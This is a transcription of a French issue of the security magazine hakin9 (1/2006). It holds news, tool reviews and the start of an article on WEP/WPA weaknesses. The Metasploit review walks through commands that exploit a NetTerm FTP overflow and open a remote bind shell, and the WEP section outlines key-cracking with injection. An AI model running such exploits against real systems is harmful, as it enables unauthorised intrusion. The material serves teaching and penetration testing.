hakin9.live - index
Transcription
hakin9.live - index
Actus Secrétaire de rédaction : Tomasz Nidecki Fromage suisse dans un papier d'aluminium Récemment, une trame très intéressante sur la liste de diffusion Full-Disclosure a attiré mon regard. Il s'agissait d'une très vive discussion qui a eu lieu concernant les questions éthiques sur les révélations publique des vulnérabilités. Le cas était le suivant, un pentesteur a contacté un éditeur en l'informant sur le fait qu'il avait trouvé une faille dans son programme. Le niveau d'adrénaline de l'éditeur s'est alors levé, et ce n'était pas à cause du fait que quelqu'un voulait l'aider, mais parce qu'il connaissait depuis longtemps cette vulnérabilité et qu‘il ne souhaitait pas qu'elle soit révélée au grand public. Dans ce genre de cas, il faut parfois réfléchir à combien de failles importantes il y a dans ces programmes. Les éditeurs et revendeurs les savent très bien en les cachant au lieu de les corriger. On doit aussi se demander, à savoir si ces failles sont purement accidentelles, ou si, peut-être elles sont exploitées comme des logiciels espions (cf. la page 66) par les éditeurs eux-mêmes. Je peux paraître ici un peu paranoïaque, mais cette idée ne vous est-elle jamais venu à l'idée ? La politique de dissimulation les vulnérabilités détectées et de promesse aux utilisateurs une sécurité très élevée, en leur offrant en réalité un morceau de fromage suisse emballé dans un papier d'aluminium (semble nouveau et brillant alors que de l'intérieur il sent mauvais et il est plein de trous) n'est pas une politique nouvelle pour de grands éditeurs de logiciels tels que Microsoft (cf. la page 36) ou Oracle (cf. la page 28). Sinon pourquoi les éditeurs aureient-ils des scrupules sur la révélation de ces vulnérabilités, s'ils n'avaient pas chercher à mentenir à leurs utilisateurs sans aucuns scrupules ? Ce n'est pas tellement qu'on se soucie des éditeurs qui mentent, mais plutôt bien parce qu'on se soucie des utilisateurs de ces logiciels. Si un bogue est révélé au public, les utilisateurs d'un programme douteux peuvent devenir un objectif potentiel d'attaquants. Mais que se passerait-il si la faille n'était pas révélée ? Les utilisateurs peuvent être attaqués (par ceux qui sont informés sur le bogue), mais ils ne le trouveront probablement jamais (vu que le bogue n'a pas été révélé), et le bogue ne sera jamais corrigé par l'éditeur (pourquoi faire ? ...). Quelle est la situation la pire ? Personnellement, je suis alors entièrement pour l'idée de la révélation au grand publi que de ces informations. Et l'attitude de notre magazine en témoigne. Tomasz Nidecki [email protected] 4 hakin9 Nº 1/2006 06 Marek Bettman/Tomasz Nowak Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques. CD-ROM – hakin9.live 08 Robert Główczyński/Wojciech Trynkowski On vous présente le contenu et le mode de fonctionnement de la version récente de notre principale distribution hakin9.live. Outils GFI LANguard Network Security Scanner 10 Tomasz Nidecki À l'aide d'un scanner le plus connu, on analyze la sécurité d'un serveur dans un réseau local. Metasploit Framework 11 Carlos García Prado Cet article présente comment effectuer un simple pentest d'un programme suspect à l'aide de Metasploit Framework. Dossier Sécurité Wi-Fi – WEP, WPA et WPA2 12 Guillaume Lehembre L'article vous présente les faiblesses des méthodes utilisées pour le chiffrage des connexions sans fil. L'auteur explique en détail les principes du fonctionnement de WPA et WPA2. Il vous montre aussi comment briser la protection des sécurité WEP, WPA et WPA2. Focus Rootkits sous Oracle Alexander Kornbrust 28 Grâce à cet article vous découvriez en quoi consiste la conception des rootkits dans les bases de données. Vous connaîtrez la manière d‘écrire un simple rootkit fonctionnant dans une base de données Oracle. On vous décrit aussi les méthodes pour se protéger contre les rootkits de base de données et les directions potentielles du développement de ces méthodes d'attaque. www.hakin9.org Le périodique est publié par Software-Wydawnictwo Sp. z o.o. Piaskowa 3, 01-067 Varsovie, Pologne Tél. +48 22 887 10 10, Fax. +48 22 887 10 11 www.hakin9.org Sécurité de Windows Server 2003 Directeur de la publication : Jarosław Szumski 36 Rudra Kamal Sinha Roy Analyser la sécurité du système Windows Server 2003 est le but de cet article. Vous apprendrez les mécanismes implémentés par Microsoft pour mieux protéger les utilisateur et les façons de les détourner. L'article vous presente les principes de la protection du système Windows Server 2003. Pratique Système IPS basé sur Snort 48 Michał Piotrowski Cet article vous explique comment au moyen d'un ordinateur classique, de trois interfaces et d'un logiciel gratuit Snort, construire un système efficace de protection contre les attaques (IPS). L'installation et la configuration d'un tel système seront présentées. Fiche technique Tours de passe-passe pour pare-feux 54 Imprimerie, photogravure : 101 Studio, Firma Tęgi Ekonomiczna 30/36, 93-426 Łódź Imprimé en Pologne/Printed in Poland Abonnement (France métropolitaine) : 1 an (soit 6 numéros) 38 € DOM/TOM, étranger : nous consulter Dépôt légal : à parution ISSN : 1731-7037 Distribution : MLP Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2005 Software-Wydawnictwo, tous les droits réservés Chef de produit : Magdalena Grzmiączka [email protected] Secrétaire de rédaction : Tomasz Nidecki [email protected] Préparation du CD : Robert Główczyński, Wojciech Trynkowski Maquette : Anna Osiecka [email protected] Couverture : Agnieszka Marchocka Traduction : Grażyna Wełna, Marie-Laure Perrotey, Aneta Lasota, Paul Muraille Correction : Jérémy Fromaget, Gilles Gaffet, Pierre-Emmanuel Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale, Pierre Aure, Beb Sabeur Soufiene, Patrick Fernandez Les personnes intéressées par la coopération sont priées de nous contacter : [email protected] Abonnement : [email protected] Fabrication : Marta Kurpiewska [email protected] Diffusion : Monika Godlewska [email protected] Publicité : [email protected] Oliver Karow Si vous êtes intéressé par l’achat de licence de publication de revues merci de contacter : Monika Godlewska e-mail : [email protected] tél : +48 (22) 887 12 66 fax : +48 (22) 887 10 11 Méthodes d'infection par un logiciel espion La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs. Vous trouverez ici les méthodes pour détourner les pare-feux. L'article vous présente comment s'en servir dans la pratique. Vous serez comment configurer les pare-feux pour éviter ces types des attaques. 66 Christiaan Beek Grâce à cet article vous apprendrez les méthodes exploitées pour la contamination du système Windows par les programmes de type spyware. On vous enseigne comment se protéger contre ces dangers et comment éliminer les programmes non sollicités quand les paquets conçus à cet effet échouent. La rédaction utilise le système PAO Éditorial – Fausses idées sur la sécurité informatique FR PL CZ IT DE ES 80 Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o. La revue hakin9 est publiée en 7 versions : EN Stephano Zanero Les idées les plus fausses répendues sur la sécurité informatique. Dans le prochain numéro 82 Magdalena Grzmiączka Les articles qui seront publiés dans le numéro de hakin9 à venir. www.hakin9.org AVERTISSEMENT Les techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes. La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées. L'utilisation des techniques présentées peut provoquer la perte des données ! hakin9 Nº 1/2006 5 Actus Ventes d'enfants sur les services d'enchères La police chinoise enquête sur une annonce en ligne qui offrait des bébés à vendre sur la filiale chinoise du site d’enchères eBay. L’annonce offrait des bébés garçons pour la somme de 28 000 yuan (3450 USD) et des petites filles à rabais pour 13 000 yuan (1600 USD). Il se peut que se ne fut qu'une plaisanterie, mais l'annonce a été traitée très sérieusement car les ventes des enfants devient en Chine un problème important. Le trafic des enfants étroitement lié à la politique chinoise d'un enfant dans une famille et à la tradition qui apprécie plus les garçons que les filles. Les tribunaux ont déjà prononcé quelques peines capitales liées à cette affaire. Sur l'enchère en question, un utilisateur Chuangxinzhe Yongyuan garantissait la livraison des enfants jusqu'à cent jours suivant la naissance des poupons. Tous seraient provenus de la province de Henan en Chine centrale. Avant d'être supprimée, l'enchère a été visitée par 50 personnes. Coupable ou pas coupable ? Un Londonien, Daniel Cuthbert, a été jugé coupable d'avoir violé le premier paragraphe de la loi sur les infractions informatiques, c'est-à-dire d'avoir eu un accès non autorisé au système auquel il n'avait pas le droit à accéder. Cuthbert a obtenu un accès non autorisé au serveur hébergeant le site fonctionnant en faveur des victimes du tsunami en Asie. Il a été condamné d'une amende de 1000 livres (le procureur a demandé beaucoup plus). Et ce n'était pas bizarre, mais Cuthbert a obtenu l'accès aux zones non destinées au public en ajoutant à la fin de l'adresse dans le navigateur les caractères ../../../. De plus, pendant l'audience, il expliquait qu'il voulait vérifier si c'était un vrai site ou une tentative de phising. Le tribunal a pris en considération le fait qu'il n'a causé aucun dommage sur le site auquel il s'attaquait. 6 hakin9 Nº 1/2006 IT Underground L es 12-13 octobre 2005 à Varsovie, la troisième édition de la conférence IT Underground a eu lieu. Les participants sont venus du monde entier (Suisse, Belgique, Allemagne, Singapour, Pologne). Quatorze conférenciers, spécialistes en Allemagne, Israël, Autriche, Pologne, Italie, des États Unis, ont présenté leurs cours ainsi que des ateliers supplémentaires. L'invité spécial, Ofir Arkin, a inauguré le premier jour de la conférence. Arkin s'est concentré sur les méthodes traditionnelles de reconnaissance de l'infrastructure réseau et a présenté de nouvelles solutions à ce sujet. Ce jour-là, l'une des présentations les plus intéressantes (d'après l'avis des participants), était le cours de Tomasz Nidecki sur le spam. Ce cours a été considéré comme intéressant parce qu'il était possible de l'appliquer dans la pratique. Pendant l'ITU, on pouvait aussi participer aux ateliers. Le premier, tenu par Michał Szymański, concernait les rootkits pour Windows fonctionnant en mode utilisateur. Les exercices – conformément à la formule BYOL (Bring Your Own Laptop) – étaient faits par les participants sur leurs propres ordinateurs. Le second, préparé par Piotr Sobolewski, concernait la sécurité relatives aux chaînes de format. Le hit de la deuxième journée était la sécurité du bluetooth. La présentation était très spectaculaire – les cellulaires sonnaient et envoyaient des SMS toute seule, ainsi que le téléchargement distant des carnets d'adresses et autres astuces. Les représentants de la presse du monde entier ont aussi participé à la session. La rédaction de hakin9 a pris contact avec le plus grand site français consacré à la sécurité http:// www.vulnerabilite.com. La rencontre avec Aurélien Cabezon, son coauteur, permet d'espérer une collaboration fructueuse dont les résultats réjouiront sans doute les lecteurs de hakin9 et les visiteurs du site vulnerabilite.com. La cinquième édition de conférence IT Underground aura lieu les 23-24 février 2006. On vous invite alors à Prague ! Botnets de plus en plus nombreux D 'après de nouvelles preuves concernant trois Hollandais accusés d'avoir construit un botnet international de machines zombies, le nombre de celles-ci dépasse considérablement le nombre estimé au début ! Les personnes arrêtées sont suspectées d'avoir exploité les ordinateurs infecté du troyen Toxbot pour voler les numéros des cartes crédit et de faire du chantage à des entreprises en les menaçant des attaques de types DDoS. Les procureurs ont informé que le nombre de machines zombies www.hakin9.org dépasse considérablement celui estimé au début. Ces données proviennent des analyses effectuées par GOVCERT hollandais (l'équipe de réaction rapide pour les ordinateurs). Le porte-parole du parquet hollandais, Wim de Bruin, a dit que cette information ne sera pas sans influence sur le verdict. Il y a une différence si quelqu'un casse les vitres dans une maison ou dans la rue entière – a dit Bruin. D'autres suspects liés à cette affaire seront bientôt arrêtés. Actus Nouvelle face de l'entreprise de Redmond D 'après les déclarations de Neil Holloway, président de Microsoft EMEA, la sortie de Windows Vista sera reportée pour des raisons de sécurité qui est, évidemment pour Microsoft, la priorité. Holloway a aussi annoncé des changements dans le Microsoft EMEA. Il a avoué que Microsoft a eu certains retards en ce qui concerne les questions de sécurité, mais il n'a pas l'intention de déposer les armes. Les spécialistes de la société de Redmond, pour la seconde fois dans l'histoire, ont invités les hackers à discuter sur la sécurité de leurs produits. Le siège de MS a été visité par les hackers qui participaient auparavant à la conférence Black Hat, pendant laquelle on a présenté IE7. Les hackers éthiques se sont rencontrés avec les ingénieurs de Microsoft et ont parlé à peu près de tout : en commençant par la sécurité du navigateur jusqu'aux dangers relatifs au matériel. Les résultats de cette collaboration seront bientôt connus. Par contre, les autres annonces de Holloway ressemblent aux excuses de l'Église pour la Sainte Inquisition. Premièrement, le président assure que son entreprise prend en compte les critiques et implémente les modifications appropriées. Il demande de ne pas la considérer comme arriérée ou trop bureaucratisée. L'année prochaine, Microsoft sortira sur le marché deux fois plus de programme qu'elle a élaborés pendant les trois dernières années. Ce résultat pourra être atteint grâce à la collaboration avec de petites sociétés (environ cent mille fournisseurs de programmes collaborent avec MS – suivant les représentants du géant). Ce qui a apporté un bénéfice important, est aussi le six milliards de dollars américains investis dans la recherche et le développement ainsi que les célèbres trois mille brevets, considérés par Holloway comme superimportants. Mais il n'a pas dit s'ils étaient importants pour le développement des programmes ou pour la lutte contre la concurrence. Le président a aussi assuré que l'organisation de l'entreprise avait changé et que les décisions n’étaient pas prises seulement par Gates ou Ballmer. Cette dernière information donne à réfléchir... DVD Jon embauché par le propriétaire de Linspire J on Lech Johansen, un hacker norvégien connu sous le nom de DVD Jon, a été embauché par l'entreprise MP3tunes, appartenant à Michael Robertson (propriétaire de l'entreprise Linspire). La tâche de DVD Jon consistera à introduire la musique numérique au XXIème siècle – ce qui a été annoncé par Robertson lui-même. Johansen a dû déménager à San Diego aux États Unis. En tant qu'ingénieur programmeur, DVD Jon collaborera au nouveau projet multimédia baptisé Oboe (que sera probablement un programme-client d'un service musical). Il faut rappeler que Michael Robertson s'occupe depuis longtemps de la distribution de la musi- que via Internet – c'est lui qui a créé le service MP3.com (qu'il a ensuite vendu à Vivendi Universal). Robertson s'est engagé beaucoup de fois auprés de plusieurs entreprises : il a investi dans la société Lindows (dénommée ensuite en Linspire) qui a créé le système d'exploitation basé sur Linux. Jon Lech Johansen est devenu célèbre pour avoir créé le programme DeCSS ôtant le cryptage CSS des DVDs (il a été accusé devant la justice, mais après de nombreux appels, le tribunale norvégien l'a reconnu innocent). Ensuite, il a réussi à supprimer les cryptages des fichiers distribués par le magasin en ligne iTunes et casser le protocole AirTunes. www.hakin9.org Secret des points jaunes Est-il possible d'identifier le périphérique qui a imprimé un document ? Suivant la fondation Electronic Frontier Foundation, la plupart des imprimantes laser couleur impriment sur chaque page du code à barre invisible contenant les informations du périphérique et les dates et heures de l'impression. Electronic Frontier Foundation, une institution dont le but est de défendre la liberté d'expression sur Internet, a analysé les impressions de plusieurs périphériques et pour l'instant, elle a réussi à déchiffrer le code des imprimantes couleur Xerox. L'information était composée de points jaunes d'une diamètre inférieure à 1 mm, qui ne sont visibles qu'au moyen d'un verre grossissant ou sous une lumière bleue. Le gouvernement des États Unis a imposé à certains fabricants des imprimantes laser couleur d'installer ce type de protection pour aider les agences d'état à poursuivre les faux-monnayeurs. La liste complète d’imprimantes imprimant le code en points jaunes est disponible sur le site d'Electronic Frontier Foundation. D'après l'avis de l'organisation, d'autres périphériques (pas prise en compte sur la liste) laissent aussi leurs marques, par exemple sous forme de filigranes pour permettre l'identification ultérieure des périphériques d'impression. Fin de l'anonymat pour les crackers Les coordonnées de l'assistant à l'Université Dunedin (Otago, Australie), qui s'introduisait dans les systèmes informatiques des entreprises américaines, ont été révélées après plus de 2 ans de lutte alors qu’il essayait de rester anonyme. Timothy Molteno (38 ans), est la première personne jugée suivant la nouvelle loi sur la criminalité informatique. Il a été jugé coupable il y a presque 20 mois. Molteno a été condamné à 200 heures de travaux sociaux et à payer une amende de douze mille dollars à titre d'indemnité. hakin9 Nº 1/2006 7 CD-ROM hakin9.live L e CD joint au magazine contient hakin9.live (h9l) en version 2.8-ng – une version bootable de Linux contenant des divers outils, de la documentation, des tutoriaux et les matériaux complémentaires aux articles. Pour commencer le travail avec hakin9.live, il vous suffit de démarrer l'ordinateur à partir du CD fournit. Après le démarrage du système, vous pouvez ouvrir la session en tant qu'utilisateur hakin9 sans mot de passe. Pour la première fois, il vous est possible d'installer cette version de h9l sur le disque dur. La structure des répertoires se présente comme suit : • • • • • • • doc – la documentation au format HTML, hit – GFI LANguard Network Security Scanner, un des scanners de sécurité les plus connus au monde; une version complète pour les lecteurs de hakin9 (pour 5 adresses IP) ; vous pouvez obtenir le numéro de série sur : http://www.gfi.com/pages/ hakin9offer.htm, art – matériaux complémentaires aux articles : listings, scripts, programmes indispensables, tut – tutoriaux, add – livres et autres documents au format PDF (entre autres Firewall Piercing. Creative Exploitation of Valid Internet Protocols, Firewall Piercing mini HOWTO, Database Rootkits, Circumvent Oracle's Database), adv – matériaux publicitaires (Core Impact – Rapid Penetration Test – Flash demo), rfc – documents contenant les RFC actuels. Les anciens outils se trouvent dans le sous-répertoire _arch, par contre les nouveaux – sont dans les répertoires principaux à l'image de la structure ci-dessus. Si vous parcourez le CD, cette structure est disponible dans le sous-répertoire /mnt/cdrom. La version 2.8-ng h9l est basée sur la distribution Linux Gentoo et les scripts sur livecd-tools. Les outils non disponibles dans le référentiel Gentoo sont installés Figure 1. Nouveaux outils indispensables 8 hakin9 Nº 1/2006 à partir des paquets du répertoire /usr/local/portage ou chargés dans le répertoire /usr/local/bin. Il y a eu un esemble de modifications par rapport à la version h9l 2.7-ng, tout d'abord le noyau a été mis à jour (actuellement en version 2.6.13.3 avec les patches gentoo-sources-2.6.13-r3). Le support de VLAN et les pilotes ATM et DSL ainsi que ceux pour les WinModems (ltmodem, slmodem, intel536) ont été ajoutés. L'environnement graphique Xfce 4 a été supprimé, a contrario les bibliothèques statiques restent inchangées. La nouvelle h9l intègre un installeur (scripts Knoppix modifiés). Après l'installation sur le disque, il est possible d'utiliser portage (la commande emerge) pour installer des logiciels supplémentairs. Fluxbox avec le gestionnaire de fichiers ROX est l'environnement graphique utilisé sur h9l. La version actuelle de h9l contient entre autres : • • • VConfig – la configuration du réseau VLAN (Virtual LAN), qtwvdialer – une interface graphique pour wvdial, dd_rescue – un logiciel de récupération de données à partir de supports endommagés. Tutoriaux et documentation La documentation contient, entre autres, les tutoriaux préparés par la rédaction avec les exercices pratiques. Les tutoriaux sont conçus pour être utilisés sur hakin9.live. Grâce à cette solution, vous évitez tous les problèmes relatifs aux différentes versions de compilateurs, à la localisation de fichiers de configuration ou aux autres options nécessaires pour démarrer les programmes dans un environnement donné. Dans la présente version de hakin9.live, outre les tutoriaux des numéros précédents mis à jour, un nouveau tutoriel à été ajouté. Il décrit la création d'un IPS à partir de Snort. Le tutoriel est un complément pour l'article Système IPS basé sur Snort de Michał Piotrowski (cf. page 48). l Figure 2. À la une de ce numéro – GFI LANguard Network Security Scanner www.hakin9.org S’il vous est impossible de lire le CD, et ce dernier n’est pas endommagé mécaniquement, essayez de le lire au moins dans 2 lecteurs. En cas de problème avec votre CD, envoyez-nous un message à l’adresse suivante : [email protected] GFI LANguard Network Security Scanner Outils Système : Windows Licence : Commerciale/gratuiciel (en fonction de la version) But : Scannage et évaluation du niveau de sécurité Page d'accueil : http://www.gfi.com/ GFI LANguard Network Security Scanner permet de scanner un ou plusieurs ordinateurs dans le réseau. À la suite du scannage, vous obtenez l'évaluation de la sécurité et une liste de points faibles. Démarrage rapide : Admettez que vous voulez évaluer la sécurité d'un des ordinateurs de votre réseau fonctionnant comme serveur. Lancez LANguard installé au préalable, et ensuite, vous cliquez sur New Scan disponible sur la barre d'outils supérieure du programme. Dans la liste déroulante Scan Type, vous choisissez l'option Single computer (ordinateur seule). Bien sûr, si vous voulez scanner simultanément plusieurs ordinateurs, vous pouvez choisir une des options disponibles (par exemple, la liste d'ordinateurs, la plage d'adresses, le domaine). Vous sélectionnez Another Computer et vous entrez l'adresse IP de la machine à scanner. Ensuite, vous choisissez le profil de scannage. LANguard offre quelques profils de base et permet de créer les profils personnalisés. Pour consulter les types des tests entrant dans un profil donné, il faut cliquer sur Configuration->Scanning Profiles dans la fenêtre Tools Explorer. Il est recommandé d'effectuer la première analyse à partir du profil par défaut (Default). Si l'on scanne des machines n'appartenant pas au réseau local, le profil Slow Networks est fort utile (il permet les latences dans la communication). Après avoir sélectionné le profil (dans votre cas Default), cliquez sur OK et attendez jusqu'à ce que LANguard termine le scannage. Les brèves descriptions des actions effectuées sont disponibles dans la fenêtre Scanner Activity Window. Une fois le scannage terminé, dans la fenêtre Scanned Computers cliquez sur le caractère + accompagnant le symbole et l'adresse de l'ordinateur. Les options disponibles s'affichent (leur nombre dépend du profil sélectionné et des résultats de l'analyse). Si vous cliquez sur Vulnerabilities dans la fenêtre Scan Results, la liste des failles trouvées est affichée. Les failles sont divisées en très dangereuses (High security vulnerabilities), moyennement dangereuses (Medium...) et peu dangereuses (Low...). Hormis une courte description de l'erreur, vous obtenez aussi l'identificateur de la liste Bugtraq ou un lien à la page décrivant la faille donnée. Après un clic dans la fenêtre Scanned Computers sur l'icône Open TCP Ports, vous obtenez dans la fenêtre Scan Results, la liste des ports TCP ouverts avec les informations provenant de LANguard sur les programmes fonctionnant sur le port donné. LANguard possède aussi les mécanismes pour le relevé de l'empreinte digitale (le nom du système d'exploitation reconnu se trouve à côté de l'adresse de la machine dans la fenêtre Scanned Computers). Un double clic sur le numéro du port dans la fenêtre Scan Results lance automatiquement le telnet sur le port donné. Les rapports de l'analyse de la machine peuvent être consultés ou enregistrés au format HTML (uniquement la version commerciale) après un clic sur l'option sélectionnée de la liste Scan Filters (Current Scan) dans la fenêtre Tools Explorer, et ensuite sur l'icône représentant une disquette disponible sur la barre d'outils supérieure du programme. Autres qualités : • permet le scannage automatique à des heures précises, l'envoi des rapports via email, • télécharge automatiquement (pendant chaque lancement) les mises à jour des bases de données contenant les informations sur les failles, les correctifs, etc. Défauts : La plupart des options avancées (telles que scannage automatique et le reporting) ne sont disponibles qu'en version commerciale. Dans la version de démonstration, ces options deviennent inactives après 30 jours de l'utilisation et LANguard peut être utilisé sous les termes de la licence freeware. Tomasz Nidecki ATTENTION ! La liste des failles trouvées lors du scannage 10 hakin9 Nº 1/2006 L'entreprise GFI offre aux lecteurs de hakin9 la version complète du programme limitée à 5 adresses IP. Pour en profiter, il faut installer la version disponible sur hakin9.live, et ensuite, s'enregistrer sur le site de l'éditeur (http://www.gfi.com/pages/ hakin9offer.htm) pour obtenir via email le code série du programme. L'offre expire le 31 mars 2006. www.hakin9.org Outils Metasploit Framework Système : Windows, Linux, Mac OS X, Solaris, FreeBSD Licence : GPL v2 But : Environnement de développement pour les tests d'intrusion et la création d'exploits Page d'accueil : http://www.metasploit.com/ Metasploit est un environnement de développement conçu pour faciliter le travail des personnes effectuant les tests d'intrusion et s'occupant de la sécurité réseau. Il contient une bibliothèque complète d'exploits et des outils servant à la création de nouveaux exploits. Démarrage rapide : Admettez que les périphériques dans votre réseau utilisent le serveur FTP NetTerm NetFtpd sous la surveillance du système d'exploitation Windows 2000. Puisque vous savez que les anciennes versions de ce serveur été vulnérables aux attaques, vous voulez vérifier la sécurité de votre installation. Pour cela, vous vous servirez de msfconsole issu de Metasploit Framework. Metasploit stocke les paramètres indispensables des variables d’environnement. Il suffit de donner les valeurs de certains paramètres pour pouvoir utiliser un exploit voulu. Commençez par choisir l'exploit à utiliser. La commande show exploits affiche la liste des exploits disponibles. Ensuite, au moyen de la commande use netterm _ netftpd _ user _ overflow, chargez l'exploit qui exécute le débordement de tampon. Il faut remarquer que l'invite change. Dans l'étape suivante, entrez l'adresse de l'hôte à tester en paramétrant la variable d’environnement à l'aide de la commande set RHOST 10.0.0.1. Il ne faut pas oublier que les variables d’environnement doivent être écrites en majuscules. Vous pouvez déterminer le port de l'hôte distant à l'aide de la commande set RPORT 21. Bien que cela paraisse inutile, c'est une méthode à adopter dans la pratique. Il faut remarquer que la modularité caractéristique pour Metasploit permet de lier différents types de charges dans un exploit. Ainsi, il est facile de trouver celui qui satisfait à vos besoins. La liste de charges est disponible par la commande show payloads. Dans votre cas, vous utiliserez win32 _ bind qui vous connectera au shell distant sur le port déterminé, ici 4444. Pour cela, tapez la commande set PAYLOAD win32 _ bind. Maintenant, vous pouvez démarrer l'exploit à l'aide de la commande exploit. La Figure 1 montre que l'attaque a réussi et vous avez obtenu l'accès au shell du système Windows sur l'hôte distant. Vous pouvez démarrer une commande quelconque avec les droits d'utilisateur qui a lancé l'application, et dans le cas du système Windows, ce sont souvent les droits d'administrateur. L'utilisateur doit être averti que ses programmes FTP exigent une modification ou une mise à jour. Autres qualités : Metasploit constitue aussi une plateforme très importante permettant le développement d'exploits et de shellcodes. Il contient beaucoup d'outils destinés à analyser les fichiers exécutables, aussi bien au format ELF (Linux) que PE (Windows). Il comprend aussi les outils servant à capturer le contenu de la mémoire du processus en cours de son exécution, ce qui facilite l'analyse par le biais des instructions et des adresses de retour. Les utilisateurs débutants de Metasploit retrouveront une interface Web très conviviale. Après le démarrage du programme msfweb, vous pouvez y accéder à l'adresse http://localhost:55555. Elle offre les mêmes fonctions que l'interface texte, mais est plus facile d'emploi. Il faut dire que la mise à jour de la bibliothèque d'exploits est très facile, il suffit de taper une seule commande. Défauts : L'interface Web sert à démarrer les exploits. D'autres éléments de la fonctionnalité de Metasploit Framework ne sont disponibles qu'au niveau de la console. Figure 1. Démarrage de l'un des exploits Figure 2. Metasploit web interface www.hakin9.org Carlos García Prado hakin9 Nº 1/2006 11 Sécurité Wi-Fi – WEP, WPA et WPA2 Dossier Guillaume Lehembre Degré de difficulté Le Wi-Fi (Wireless Fidelity) est une des technologies sans fil dominante actuellement avec un support de plus en plus intégré dans les équipements : ordinateurs portables, agendas électroniques, téléphones portables, etc. Malheureusement, un aspect de la configuration est souvent oublié et méconnu : la sécurité. Voyons un peu le niveau de sécurité des différents systèmes de chiffrement pouvant être utilisés dans les implémentations modernes du Wi-Fi. M ême quand les mécanismes de sécurité sont activés sur les équipements Wi-Fi, on constate dans la majorité des cas qu'il s'agit du protocole de chiffrement WEP s'étant avéré faillible. Dans cet article, nous examinerons les failles du protocole WEP et la facilité de casser le protocole. L'inadéquation du WEP souligne les besoins d'une nouvelle architecture de sécurité : la norme IEEE 802.11i, que nous détaillerons avec les implémentations du WPA et du WPA2, leurs premières vulnérabilités mineures et leurs implémentations dans les systèmes d'exploitation. La mort du WEP Le WEP (Wired Equivalent Privacy) est le protocole de chiffrement par défaut introduit dans la 1ère norme 802.11 datant de 1999. Il est basé sur l'algorithme de chiffrement RC4 avec une clé secrète de 40 ou 104 bits combinée à un vecteur d'initialisation (Initialisation Vector – IV) de 24 bits afin de chiffrer un message en clair M et sa somme de contrôle (checksum) – l'ICV (Integrity Check Value). Le message chiffré est alors déterminé en utilisant la formule suivante : où || représente l'opérateur de concaténation et + l'opérateur XOR. Le vecteur d'initialisation est la clé de voûte de la sécurité du WEP, pour maintenir un niveau décent de sécurité et éviter la fuite d'information l'IV doit être incrémenté pour chaque paquet afin que le paquet suivant soit chiffré avec une clé différente. Malheureusement pour la sécurité du protocole, l'IV est transmis en clair et le standard 802.11 ne rend pas obligatoire l'incrémentation de l'IV laissant cette mesure de sécurité au bon vouloir de Cet article explique... • • • • Ce qu'il faut savoir... • • C = [ M || ICV(M) ] + [ RC4(K || IV) ] 12 hakin9 Nº 1/2006 les failles du protocole WEP, une vue globale de la norme 802.11i et de ses implémentations commerciales : le WPA et le WPA2, les notions de base du 802.1x, les failles potentielles du WPA et du WPA2. www.hakin9.org les notions de base des protocoles TCP/IP et Wi-Fi, les notions de base de la cryptograpie. Sécurité WEP, WPA et WPA2 l'équipement sans fil (point d'accès ou carte sans fil). La brève histoire du WEP Le protocol WEP ne fut pas créé par des experts sécurité ou du monde de la cryptographie, il s'avéra faillible à un problème de l'algorithme RC4 décrit par David Wagner quatre ans auparavant. En 2001, Scott Fluhrer, Itsik Mantin et Adi Shamir (FMS pour faire court) publièrent leur fameux papier sur la sécurité WEP dans lequel ils détaillaient deux vulnérabilités dans l'algorithme de chiffrement RC4: l'invariance weaknesses et l'attaque par IV connu. Ces deux attaques reposent sur le fait que pour certaines valeurs de la clé, il est possible pour les 1er bits de la suite chiffrante de dépendre uniquement de quelques bits de la clé (normalement chaque bit de la suite chiffrante a 50% de chance d'être différent du bit de la suite chiffrante précédente). Comme la clé est composée de la concaténation d'une clé secrète et de l'IV, certaines valeurs de cet IV génèrent des clés dites faibles. Ces vulnérabilités furent exploitées par des outils de sécurité tel Airsnort, permettant de retrouver la clé WEP en analysant une importante quantité de trafic chiffré. Cette attaque se révélait fructueuse dans un temps raisonnable sur des réseaux sans fil assez chargé au niveau trafic mais nécessitait un temps de calcul assez long. David Hulton (h1kari) découvrit une amélioration de l'attaque précédente en ne prenant pas uniquement en considération le 1er octet de la sortie de l'algorithme RC4 (comme dans la méthode FMS) mais aussi les suivants, cela permettant de réduire significativement la quantité de données à capturer pour l'analyse. Le contrôle d'intégrité souffre aussi de sérieuses failles dûes à l'utilisation de l'algorithme CRC32 choisi pour cette tâche. Cet algorithme est fréquemment utilisé pour la détection d'erreurs mais n'a jamais été considéré cryptographiquement sûr pour du contrôle d'intégrité à cause de sa linéarité, c'est ce que Nikita Borisov, Figure 1. Le protocole de chiffrement WEP Ian Goldberg et David Wagner soulignait déjà en 2001. Il était alors admis que le WEP fournissait une sécurité acceptable pour les particuliers et les applications non critiques. Cette affirmation a été démentie avec l'apparition de l'attaque de KoreK en 2004 (généralisant l'attaque FMS en incluant les optimisation proposées par h1kari), et l'attaque inductive inverse de Arbaugh permettant le décryptage arbitraire d'un paquet sans connaissance de la clé et l'injection de paquets. Des outils de cassage de clés tel que Aircrack de Christophe Devine ou Weplab de José Ignacio Sánchez implémentèrent ces nouvelles attaques et furent en mesure de casser une clé WEP 128 bits en moins de 10 minutes (ce temps pouvant être alongé suivant le point d'accès et la carte sans fil utilisée). Le fait d'injecter des paquets a permis de diminuer sensiblement le temps nécessaire pour casser le WEP, l'attaque ne nécessitant pas la capture de millions de trames mais simplement un certain nombre de paquets avec des IV uniques – à partir de 150 000 paquets pour une clé WEP 64 bits et 500 000 paquets pour une clé WEP de 128 bits. Grâce à l'injection de paquets, la collecte du nombre nécessaire d'information n'est plus qu'une question de minutes. Dorénavant, le WEP peut être considéré mort (voir le Tableau 1) et ne devrait plus être utilisé, même si une rotation des clés a été mise en place. Les failles du WEP peuvent se résumer ainsi: • faiblesse de l'algorithme RC4 au sein du protocole WEP dûe à la construction de la clé, Tableau 1. Chronologie de la mort du WEP Date Description Septembre 1995 